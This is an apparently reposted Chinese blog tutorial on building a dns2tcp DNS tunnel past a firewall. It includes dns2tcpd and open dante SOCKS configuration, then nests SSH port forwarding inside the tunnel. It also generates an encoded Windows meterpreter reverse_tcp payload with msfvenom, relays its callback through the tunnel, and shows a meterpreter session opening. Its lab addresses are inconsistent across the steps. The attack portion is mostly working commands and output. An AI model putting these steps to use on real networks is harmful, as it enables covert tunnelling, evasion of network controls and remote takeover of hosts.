其他分享
首页 > 其他分享> > Dns2tcp隧道

Dns2tcp隧道

作者:互联网

0x01 dns2tcp绕过的原理

dns2tcp是一款基于c/s架构的软件,它可以将通信报文夹藏在udp协议的TXT解析记录中,进而形成dns隧道。dns隧道通过dns2tcpc对本地端口的监听,实现端口转发,进而对远程主机上的应用端口进行访问。大致了解了原理,下面我们通过一个模拟实验来学习一下dns2tcp隧道的应用。

由上图可知,本实验的主要配置有两方面,一个是DNS服务器的配置(此处已完成该方面配置,配置信息如下,由于资源有限,故在攻击机Kali上直接集成了DNS服务器),另一个是dns2tcp的客户端和服务端的配置。

攻击机Kali
    IP:10.10.10.10
    DNS:10.10.10.100
DNS服务器:
    域名:abc.qianxin.com IN NS www.qianxin.com    www.qianxin.com IN A 10.10.10.100
内网机:已开启防火墙
    IP:10.10.10.20
    DNS:10.10.10.100

0x02 Dns2tcpd配置

现在Kali Linux上均安装了Dns2tcp工具,我们需要修改的配置文件在/etc/dns2tcpd.conf文件

listen = 0.0.0.0
port = 53               //本地监听53端口,实现DNS的udp数据报通信
# If you change this value, also change the USER variable in /etc/default/dns2tcpd
user = nobody
chroot = /tmp
domain = test.redwand.com          //domain变量定义了DNS隧道通过的查询区域
resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25 , socks:127.0.0.1:7777   //定义了将远程某个资源转发到dns2tcpc端
key = pass  //密码

通过以下名单启动dns2tcp服务端,实现dns2tcpd服务端监听,其中-d参数表示debug级别为1,-F参数表示前台运行。

dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

在资源里我们设置了socks,但这个是需要我们自己配置的,所以我们使用dante-server搭建socks

apt-get install dante-server

安装完成后,我们打开配置文件/etc/danted.conf进行修改,配置了一个监听端口7777的socks代理,无身份认证,允许任何客户端连接

logoutput: /var/log/sockd.log
internal: eth0 port = 7777
external: eth0
socksmethod: username none
user.privileged: proxy
user.unprivileged: nobody
client pass {
    from: 0.0.0.0/0 port 1-65535 to: 0.0.0.0/0
}
socks pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    protocol: tcp udp
}

接下来,我们通过命令启动dante,命令如下

systemctl start danted  //启动
systemctl status danted   //查看状态

0x03 Dns2tcpc配置

客户端首先要设置DNS,这里需要修改/etc/resolv.conf文件(此处尤其重要,需通过文件检查)

nameserver 10.91.40.40

然后在内网机上执行命令即可实现DNS隧道,-c参数表示压缩传输数据,-r表示访问dns2tcpd一端的哪种资源,-z表示通过某个域查询实现

dns2tcpc -c -k hopeamor -l 2222 -d 1 -r ssh -z abc.qianxin.com

然后新开窗口,输入以下命令,成功返回即成功,前提是客户端已开启ssh服务且允许用户登录

ssh root@127.0.0.1 -p 2222

工具通过配合使用,往往能够产生更大的效果,SSH本身是可以进行动态端口转发的,也就是能够配置浏览器进行代理上网,具体命令如下

ssh -CfNg -D 8080 root@127.0.0.1 -p 2222 

由于该命令并不会显示具体情况,我们可通过下列命令查看是否成功

netstat -pantu

可以在kali上生成ma.exe,监听在172.16.1.11的6666端口上

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.11 lport=6666 -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe -o ma.exe

然后在172.16.1.11上通过dns隧道嵌套ssh隧道实现本地端口转发

ssh -CfNg -L 6666:192.168.3.29:6666 root@127.0.0.1 -p 2222

最后在kali(192.168.3.29)上开启msf监听6666端口,在DCserver(172.16.1.12)上运行ma.exe,成功得到上线meterpreter shell。

msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 6666
lport => 6666
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:6666 
[*] Sending stage (180291 bytes) to 192.168.3.29
[*] Meterpreter session 1 opened (192.168.3.29:6666 -> 192.168.3.29:55050) at 2021-01-16 22:22:16 -0500

meterpreter > 

标签:隧道,dns2tcpd,端口,6666,ssh,DNS,0.0,Dns2tcp
来源: https://www.cnblogs.com/HOPEAMOR/p/16244562.html